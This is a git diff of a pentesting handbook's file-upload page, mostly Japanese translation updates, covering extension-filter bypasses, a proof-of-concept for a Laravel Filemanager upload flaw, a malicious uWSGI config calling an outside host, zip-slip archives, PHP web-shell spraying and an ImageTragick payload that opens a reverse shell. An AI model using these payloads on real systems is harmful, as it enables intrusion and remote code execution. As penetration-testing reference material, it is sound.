Chains](https://github.com/ambionics/phpggc) +* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) +* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h) +* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301) +* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 929217112..759ef1f7f 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## File Upload General Methodology +## ファイルアップロード 一般的な方法論 -Other useful extensions: +その他の有用な拡張子: - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ - **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ @@ -15,43 +15,43 @@ Other useful extensions: - **Perl**: _.pl, .cgi_ - **Erlang Yaws Web Server**: _.yaws_ -### Bypass file extensions checks +### ファイル拡張子チェックのバイパス -1. 該当する場合、前述の拡張子をチェックする。大文字を使っても試す: _pHp, .pHP5, .PhAr ..._ -2. _実行拡張子の前に有効な拡張子を追加してみる(前述の拡張子も利用):_ -- _file.png.php_ +1. 該当する場合、前述の拡張子を**確認**してください。また大文字を使ってテストしてください:_pHp, .pHP5, .PhAr ..._ +2. _実行拡張子の前に有効な拡張子を**追加**してみてください(前述の拡張子も使用):_ +- _file.png.php_ - _file.png.Php5_ -3. ファイル名の末尾に特殊文字を追加してみる。Burp を使って全ての ascii と Unicode 文字をブルートフォースすることもできる。(_前述の拡張子も使えることに注意_) -- _file.php%20_ -- _file.php%0a_ -- _file.php%00_ -- _file.php%0d%0a_ -- _file.php/_ -- _file.php.\\_ -- _file._ -- _file.php...._ +3. 末尾に**特殊文字**を追加してみてください。Burpを使ってすべての**ascii**や**Unicode**文字を**bruteforce**することができます。(_注:前述の拡張子を使うこともできます_) +- _file.php%20_ +- _file.php%0a_ +- _file.php%00_ +- _file.php%0d%0a_ +- _file.php/_ +- _file.php.\\_ +- _file._ +- _file.php...._ - _file.pHp5...._ -4. サーバー側の拡張子パーサーを騙すことで保護を回避する。拡張子を二重にする、拡張子の間に junk データ(null バイト)を入れる等の手法が有効。_より良いペイロードを作るために前述の拡張子も併用できる。_ -- _file.png.php_ -- _file.png.pHp5_ -- _file.php#.png_ -- _file.php%00.png_ -- _file.php\x00.png_ -- _file.php%0a.png_ -- _file.php%0d%0a.png_ +4. サーバー側の拡張子パーサーを騙すことで保護をバイパスしてみてください。例えば、拡張子を**二重化**したり、拡張子間に**ゴミデータ**(**null**バイト)を挟むなどの手法です。_より良いペイロードを作成するために、前述の拡張子を使用することもできます._ +- _file.png.php_ +- _file.png.pHp5_ +- _file.php#.png_ +- _file.php%00.png_ +- _file.php\x00.png_ +- _file.php%0a.png_ +- _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. 前述のチェックにさらに別の拡張子レイヤーを追加する: -- _file.png.jpg.php_ +5. 前述のチェックに**さらに拡張子の層**を追加してみてください: +- _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. 実行拡張子を有効な拡張子の前に置いて、サーバーの誤設定に賭ける(Apache の誤設定で .php を含むものは必ずしも .php で終わっていなくても実行される場合がある): +6. 実行拡張子を有効な拡張子の前に置いて、サーバーが誤設定されていることを期待してみてください。(Apacheの誤設定を悪用する際に有用で、拡張子が**_.php_**を含むが必ずしも .php で終わらない場合でもコードが実行されることがあります): - _ex: file.php.png_ -7. **Windows** の **NTFS alternate data stream (ADS)** を使用する手法。禁止された拡張子の後にコロン ":" を挿入し、許可された拡張子の前に置く。結果として、サーバー上に**禁止拡張子だけの空ファイル**が作成される(例: "file.asax:.jpg")。このファイルは後で short filename などを用いて編集される可能性がある。"**::$data**" パターンを使って非空のファイルを作成することもできるため、このパターンの後にドットを付けることでさらなる制限を回避できることがある(例: "file.asp::$data.")。 -8. ファイル名の長さ制限を破ってみる。有効な拡張子が切り落とされ、悪意ある PHP が残る。AAA<--SNIP-->AAA.php +7. **NTFS alternate data stream (ADS)** を **Windows** で使用する方法。 この場合、禁止された拡張子の後と許可された拡張子の前にコロン文字 ":" が挿入されます。その結果、サーバー上に**禁止された拡張子の空ファイル**が作成されます(例: "file.asax:.jpg")。このファイルは後で短いファイル名を使うなどの他の手法で編集される可能性があります。パターン "**::$data**" は非空のファイルを作成するためにも使用できます。したがって、このパターンの後にドットを追加することは、さらなる制限を回避するのに有用な場合があります(例: "file.asp::$data.") +8. ファイル名の長さ制限を超えるようにしてみてください。有効な拡張子が切り取られ、悪意ある PHP が残されます。AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png # Upload the file and check response how many characters it alllows. Let's say 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @@ -59,56 +59,86 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA<--SNIP 232 A-->AAA.php.png ``` -### Bypass Content-Type, Magic Number, Compression & Resizing +#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546 -- Content-Type チェックは、リクエストヘッダの Content-Type を次のように設定して回避することができる: _image/png_ , _text/plain , application/octet-stream_ -1. Content-Type の wordlist: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- magic number チェックは、ファイルの先頭に実際の画像のバイトを追加して(file コマンドを混乱させる)、あるいはメタデータ内にシェルを埋め込むことで回避できる:\ +一部のアップロードハンドラは、保存されるファイル名から末尾のドット文字をトリムまたは正規化します。UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) の 2.9.1 より前のバージョンでは、次の方法で拡張子検証をバイパスできます: + +- 有効な画像 MIME と magic header(例: PNG の `\x89PNG\r\n\x1a\n`)を使用する。 +- アップロードファイルの名前を PHP 拡張子の後にドットを付けて命名する(例: `shell.php.`)。 +- サーバーは末尾のドットを取り除き `shell.php` として保存します。これはウェブで配信されるディレクトリ(デフォルトの public storage 例えば `/storage/files/`)に配置されると実行されます。 + +簡易 PoC (Burp Repeater): +```http +POST /profile/avatar HTTP/1.1 +Host: target +Content-Type: multipart/form-data; boundary=----WebKitFormBoundary + +------WebKitFormBoundary +Content-Disposition: form-data; name="upload"; filename="0xdf.php." +Content-Type: image/png + +\x89PNG\r\n\x1a\n +------WebKitFormBoundary-- +``` +保存されたパスにアクセスする(典型的には Laravel + LFM): +``` +GET /storage/files/0xdf.php?cmd=id +``` +緩和策: +- unisharp/laravel-filemanager を ≥ 2.9.1 にアップグレードする。 +- サーバー側で厳格な allowlists を適用し、保存されたファイル名を再検証する。 +- アップロードを実行可能でない場所から配信する。 + +### Content-Type、magic number、Compression & Resizing の回避 + +- Content-Type チェックは、**Content-Type** **header** の **value** を次のように設定して回避する: _image/png_ , _text/plain , application/octet-stream_ +1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) +- **magic number** チェックは、ファイルの先頭に **実際の画像のバイト** を追加して回避する(_file_ コマンドを混乱させる)。またはメタデータ内にシェルを埋め込む:\ `exiftool -Comment="' >> img.png` -- もし画像に対して圧縮が行われる場合(例えば PHP-GD のような標準的な PHP ライブラリを使っている場合)、前述の手法は有効でないことがある。しかし、**PLTE chunk** を使う [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により圧縮後も残るテキストを挿入できる。 +- もし画像に **圧縮が加えられる**(例: [PHP-GD](https://www.php.net/manual/fr/book.image.php) などの標準的なPHPライブラリを使用している場合)は、前述の手法は有効でない場合がある。しかし、**PLTE chunk** の [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使って、**圧縮を生き延びる**テキストを挿入することができる。 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- Web ページが画像を **リサイズ**(例えば PHP-GD の `imagecopyresized` や `imagecopyresampled` を使用)している場合でも、**IDAT chunk** を使う [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により圧縮後も残るデータを挿入できる。 +- Webページが例えば PHP-GD の `imagecopyresized` や `imagecopyresampled` を使って **画像をリサイズ** している場合でも、**IDAT chunk** の [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使って **圧縮を生き延びる**テキストを挿入できる。 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- PHP-GD の `thumbnailImage` を使ったリサイズでも生き残るペイロードを作る別の手法がある。**tEXt chunk** を使う [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により、圧縮後も残るテキストを挿入できる。 +- 画像のリサイズを生き延びるペイロードを作る別の手法として、PHP-GD の `thumbnailImage` を使用する場合がある。こちらも **tEXt chunk** の [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使って **圧縮を生き延びる**テキストを挿入できる。 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### Other Tricks to check +### 確認すべきその他のトリック -- アップロード済みファイルを **rename** できる脆弱性を見つける(拡張子を変更するため)。 -- Local File Inclusion 脆弱性を見つけてバックドアを実行する。 -- **可能な情報漏洩**: -1. 同じ名前のファイルを **複数回**(かつ同時に)アップロードする。 -2. 既に存在する **ファイル** または **フォルダ** と同名のファイルをアップロードする。 -3. 名前が ".”, "..”, または "…” のファイルをアップロードする。例えば Windows 上の Apache では、アプリケーションがアップロードファイルを "/www/uploads/" に保存すると、"." というファイル名は "/www/" に "uploads" というファイルを作成することがある。 -4. NTFS のように削除が難しいファイル名(例: "…:.jpg")をアップロードする。(Windows) -5. Windows で `|<>*?”` のような無効文字を名前に含むファイルをアップロードする。(Windows) -6. CON, PRN, AUX, NUL, COM1 ... LPT9 のような予約済み(禁止)名を使って Windows にファイルをアップロードする。 -- 実行可能ファイル(.exe)や開かれたときにコードを実行する .html(あまり怪しまれない)をアップロードすることも試す。 +- 既にアップロードされたファイルを**rename**(拡張子を変更する)できる脆弱性を探す。 +- バックドアを実行するための **Local File Inclusion** 脆弱性を探す。 +- **Possible Information disclosure**: +1. 同じ名前の**同じファイル**を**複数回**(かつ**同時に**)アップロードする。 +2. すでに存在する**ファイル名**や**フォルダ名**と同じ名前のファイルをアップロードする。 +3. 名前が `"."`, `".."`, または `"..."` のようなファイルをアップロードする。例えば、Apache の **Windows** 環境でアプリケーションが "/www/uploads/" ディレクトリにアップロードを保存する場合、"." というファイル名は "/www/" に "uploads" というファイルを作成してしまうことがある。 +4. **NTFS**(Windows)で **"…:.jpg"** のように削除しにくいファイルをアップロードする。 +5. **Windows** で名前に `|<>*?”` のような無効な文字を含むファイルをアップロードする。 +6. CON, PRN, AUX, NUL, COM1 ... COM9, LPT1 ... LPT9 のような **予約(禁止)名** を使って Windows にファイルをアップロードする。 +- また、被害者が誤って開いたときにコードを実行する可能性のある **実行ファイル**(.exe)や、より疑われにくい **.html** をアップロードしてみる。 ### Special extension tricks -PHP サーバーにアップロードする場合は、[.htaccess を使ってコードを実行するトリック](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution) を参照すること。\ -ASP サーバーにアップロードする場合は、[.config を使ってコードを実行するトリック](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files) を参照すること。 +PHP サーバにファイルをアップロードしようとしている場合、コードを実行するための **.htaccess** トリックを参照すること: [https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +ASP サーバにファイルをアップロードする場合は、**.config** トリックを参照してコードを実行する方法を見るとよい: ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files -`.phar` ファイルは java の `.jar` に似ているが php 向けで、php で実行したりスクリプト内で include することで **php ファイルのように利用**できる。 +`.phar` ファイルは java の `.jar` に似ているが php 用で、php として **使用できる**(php で実行したり、スクリプト内で include したりできる)ことがある。 -`.inc` 拡張子はインポート用の php ファイルに使われることがあり、結果としてこの拡張子が実行可能になっている場合がある。 +`.inc` 拡張子は、ファイルを **import** する目的で使われる php ファイルに使われることがあり、場合によってはこの拡張子が実行許可されていることがある。 ## **Jetty RCE** -Jetty サーバーに XML ファイルをアップロードできる場合、[新しい \*.xml と \*.war が自動的に処理されるため RCE を得られる](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** つまり、以下の画像に示されているように、XML ファイルを `$JETTY_BASE/webapps/` にアップロードすればシェルが得られる可能性がある。 +Jetty サーバに XML ファイルをアップロードできれば、[RCE が発生する可能性がある(**new \*.xml と \*.war が自動的に処理されるため**)](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** したがって、以下の画像にあるように、XML ファイルを `$JETTY_BASE/webapps/` にアップロードすればシェルが期待できる。 ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -この脆弱性の詳細な調査については、オリジナルの調査を参照すること: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。 +この脆弱性の詳細な検証については元の調査を参照: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。 -Remote Command Execution (RCE) 脆弱性は、`.ini` 設定ファイルを変更できる権限がある場合に uWSGI サーバーで悪用され得る。uWSGI の設定ファイルは特定の構文を用いて "magic" な変数、プレースホルダ、演算子を組み込める。特に `@(filename)` として使われる '@' 演算子はファイルの内容を include するためのものとして設計されている。uWSGI がサポートするスキームの中で、"exec" スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にする。この機能は、`.ini` 設定ファイルが処理される際に Remote Command Execution や Arbitrary File Write/Read のような悪用につながる可能性がある。 +uWSGI サーバでは、`.ini` 設定ファイルを変更できる場合に Remote Command Execution (RCE) 脆弱性が悪用される可能性がある。uWSGI の設定ファイルは、"magic" 変数、プレースホルダ、演算子を組み込むための特有の構文を持つ。特に `@(filename)` のように使われる '@' 演算子はファイルの内容をインクルードするために設計されている。uWSGI がサポートする様々なスキームの中で、"exec" スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にする。この機能は、`.ini` 設定ファイルが処理される際に Remote Command Execution や Arbitrary File Write/Read に悪用され得る。 -以下は有害な `uwsgi.ini` ファイルの例で、様々なスキームを示している: +以下は、有害な `uwsgi.ini` ファイルの例を示す。 ```ini [uwsgi] ; read from a symbol @@ -126,15 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -ペイロードの実行は設定ファイルの解析時に発生します。設定が有効化され解析されるためには、uWSGIプロセスを再起動する必要があります(クラッシュ後やDenial of Service attackのために再起動される場合を含みます)、またはファイルをauto-reloadに設定しておく必要があります。auto-reload機能が有効になっている場合、変更を検出すると指定した間隔でファイルを再読み込みします。 +The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes. -uWSGIの設定ファイルの解析が緩い点を理解することが重要です。具体的には、ここで述べたペイロードはバイナリファイル(画像やPDFなど)に埋め込むことが可能であり、悪用の範囲がさらに広がります。 +It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation. ## **wget File Upload/SSRF Trick** -場合によっては、サーバが**`wget`**で**ファイルをダウンロード**しており、あなたが**URL**を**指定**できることがあります。その場合、コードがダウンロードしたファイルの拡張子がwhitelistに含まれているかを検査し、許可されたファイルのみがダウンロードされることを保証していることがあります。**ただし、このチェックはバイパス可能です。** - -linuxにおけるファイル名の最大長は255ですが、**wget**はファイル名を236文字に切り詰めます。例えば、**"A"\*232+".php"+".gif"** というファイル名でダウンロードさせることができ、このファイル名は**チェックをバイパス**します(この例では **".gif"** が**有効な**拡張子です)が、`wget` はファイル名を **"A"\*232+".php"** に**rename**します。 +場合によっては、サーバが**`wget`**を使って**ファイルをダウンロード**しており、あなたが**URL**を**指定**できることがあります。このようなケースでは、ダウンロードされるファイルの拡張子が許可リスト(whitelist)内にあるかをチェックして、許可されたファイルのみがダウンロードされるようにしていることがあります。しかし、**このチェックは回避可能です。**\ +**最大**長の**filename**は**linux**で**255**ですが、**wget**はfilenameを**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルをダウンロードすると、このfilenameは**バイパス**して**チェック**をすり抜けます(この例では**".gif"**が**有効**な拡張子であるため)が、`wget`はファイル名を**"A"\*232+".php"**に**リネーム**します。 ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -159,33 +188,33 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= ``` Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**. -## Tools +## ツール -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) は、Pentesters and Bug Hunters が file upload mechanisms をテストするのを支援するために設計された強力なツールです。様々な bug bounty テクニックを活用して脆弱性の識別と悪用を簡素化し、webアプリケーション の徹底的な評価を支援します。 ### Corrupting upload indices with snprintf quirks (historical) -Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases. +一部のレガシーな upload handler は `snprintf()` 等を使って single-file upload から multi-file 配列を構築しており、これを利用して `_FILES` 構造を偽造させることができます。`snprintf()` の挙動の不一致や切り捨てによって、巧妙に作られた単一アップロードがサーバー側で複数のインデックス付きファイルとして見えてしまい、厳密な形状を仮定しているロジック(例えば multi-file upload として扱い安全でない分岐を取る部分)を混乱させます。今日ではニッチな問題ですが、この「index corruption」パターンは時折 CTF や古いコードベースで再出現します。 -## From File upload to other vulnerabilities +## ファイルアップロードから他の脆弱性へ -- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal** -- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection** -- Set **filename** to `` to achieve a XSS -- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md)) +- **filename** を `../../../tmp/lol.png` に設定して **path traversal** を試みる +- **filename** を `sleep(10)-- -.jpg` に設定すると **SQL injection** を達成できる可能性がある +- **filename** を `` に設定して **XSS** を達成する +- **filename** を `; sleep 10;` に設定してコマンドインジェクションをテストする(他の [command injections tricks here](../command-injection.md) を参照) - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) -- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +- [**different svg payloads**](https://github.com/allanlw/svg-cheatsheet) を試す - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**. +- サーバーに対して **image** を URL から取得させることができる場合、[SSRF](../ssrf-server-side-request-forgery/index.html) を悪用できる可能性がある。この **image** が公開サイトに保存される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/) のような URL を指定して **訪問者の情報を盗む** ことも可能になる。 - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications. -- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus** -- Check if there is any **size limit** uploading files +- 特殊に細工した PDF による XSS: [以下のページは **inject PDF data to obtain JS execution** 方法を示している](../xss-cross-site-scripting/pdf-injection.md)。PDF のアップロードが可能なら、与えられた指示に従って任意の JS を実行する PDF を準備できる。 +- サーバーに **antivirus** があるか確認するために \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) のコンテンツをアップロードする +- ファイルアップロード時の **size limit** があるか確認する -Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +以下はアップロードによって達成可能なことのトップ10リスト([here](https://twitter.com/SalahHasoneh1/status/1281274120395685889) より): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE @@ -207,18 +236,18 @@ https://github.com/portswigger/upload-scanner ## Magic Header Bytes -- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` +- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["` - **JPG**: `"\xff\xd8\xff"` -Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes. +他のファイルタイプについては [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) を参照してください。 -## Zip/Tar File Automatically decompressed Upload +## Zip/Tar ファイルが自動的に展開されるアップロード -If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things: +サーバー内で展開される ZIP をアップロードできる場合、2つのことができます: ### Symlink -Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files: +他のファイルへの soft links を含むリンクをアップロードし、展開されたファイルにアクセスするとリンク先のファイルへアクセスできるようにする: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt @@ -226,18 +255,18 @@ tar -cvf test.tar symindex.txt ``` ### 異なるフォルダに解凍する -解凍時にディレクトリ内へ予期せぬファイルが作成される問題は重大です。一見、この構成は悪意あるファイルのアップロードを通じたOSレベルのコマンド実行を防げるように見えますが、ZIPアーカイブ形式が持つ階層的な圧縮サポートとdirectory traversalの能力は悪用可能です。これにより、攻撃者は制限を回避し、対象アプリケーションの解凍機能を操作してsecure upload directoriesから脱出できます。 +解凍中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。悪意のあるファイルのアップロードによって OS-level command execution を防げると当初は考えられていても、ZIP archive format の階層的な圧縮サポートと directory traversal の機能が悪用される可能性があります。これにより攻撃者は対象アプリケーションの解凍機能を操作して制限を回避し、安全なアップロードディレクトリから脱出することができます。 -このようなファイルを作成する自動エクスプロイトは[**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)で入手できます。ユーティリティの使い方は次の通りです: +そのようなファイルを作成する自動化された exploit が [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) にあります。ユーティリティは次のように使用できます: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -さらに、**symlink trick with evilarc** も選択肢です。ターゲットが `/flag.txt` のようなファイルである場合、そのファイルへの symlink をシステム上に作成してください。これにより evilarc が動作中にエラーを起こさないようにします。 +さらに、**symlink trick with evilarc** も選択肢です。目的が `/flag.txt` のようなファイルを狙う場合、そのファイルへの symlink をシステム上に作成しておくべきです。これにより evilarc が動作中にエラーを起こさないようにできます。 -以下は悪意のある zip ファイルを作成するために使用される Python コードの例です: +Below is an example of Python code used to create a malicious zip file: ```python #!/usr/bin/python import zipfile @@ -255,11 +284,11 @@ zip.close() create_zip() ``` -**Abusing compression for file spraying** +**圧縮を悪用した file spraying** -詳細は**オリジナル投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +詳細は**元の投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Creating a PHP Shell**: PHPコードは、`$_REQUEST`変数経由で渡されたコマンドを実行するように書かれています。 +1. **Creating a PHP Shell**: `$_REQUEST` 変数から渡されたコマンドを実行するPHPコードが書かれています。 ```php ``` -2. **File Spraying and Compressed File Creation**: 複数のファイルを作成し、これらのファイルを含むzipアーカイブを作成します。 +2. **File Spraying and Compressed File Creation**: 複数のファイルを作成し、それらを含むzipアーカイブを組み立てます。 ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modification with a Hex Editor or vi**: zip内のファイル名をviやHex Editorで変更し、"xxA"を"../"に置換してディレクトリを横断します。 +3. **Modification with a Hex Editor or vi**: zip内のファイル名をviやhex editorで変更し、"xxA"を"../"に置換してディレクトリを横断します。 ```bash :set modifiable @@ -286,40 +315,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -この内容を画像拡張子でアップロードすると、脆弱性 **(ImageMagick , 7.0.1-1)** を悪用できます(詳細は [exploit](https://www.exploit-db.com/exploits/39767) を参照)。 +この内容をimage拡張子でアップロードして脆弱性を悪用します **(ImageMagick , 7.0.1-1)**(詳細は [exploit](https://www.exploit-db.com/exploits/39767) を参照) ``` push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` -## PNGにPHP Shellを埋め込む +## Embedding PHP Shell on PNG -PNGファイルのIDATチャンクにPHP Shellを埋め込むことで、特定の画像処理を効果的にバイパスできます。`imagecopyresized`や`imagecopyresampled`といったPHP-GDの関数は、それぞれ画像のリサイズやリサンプリングに一般的に使用されるため、この文脈で特に関連があります。埋め込まれたPHP 